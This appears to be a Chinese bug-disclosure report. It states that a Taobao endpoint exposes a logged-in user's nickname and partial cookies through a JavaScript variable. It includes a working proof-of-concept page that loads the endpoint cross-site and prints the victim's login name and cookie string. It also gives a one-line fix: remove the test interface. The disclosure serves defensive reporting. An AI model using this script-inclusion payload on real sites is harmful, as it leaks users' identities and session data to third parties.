淘宝官网某处接口泄露用户淘宝ID和部分COOKIE

# 淘宝官网某处接口泄露用户淘宝ID和部分COOKIE

http://www.taobao.com/go/app/tmall/login-api2.php.php
 

var userCookie_2 ={_nk_:'wooyuntest',_l_g_:'Ug==',ck1:'',tracknick:'wooyuntest',mt:'ci=7_1',l:'',uc1:'lltime=1406557058&cookie14=UoW3ucSB7STjwA==&existShop=false&cookie16=W5iHLLyFPlMGbLDwA+dvAGZqLg==&cookie21=URm48syIZQ==&tag=7&cookie15=Vq8l+KCLz3/65A==',version:'2'};

<script src="https://www.taobao.com/go/app/tmall/login-api2.php.php"></script>
<script>
document.writeln('登录名：');
document.writeln(userCookie_2.tracknick);
document.writeln('<br> Cookies：');
document.writeln(userCookie_2.uc1);
  </script>

http://www.80vul.com/src/taobao.html
 

修复方案：

# 删除不必要的测试接口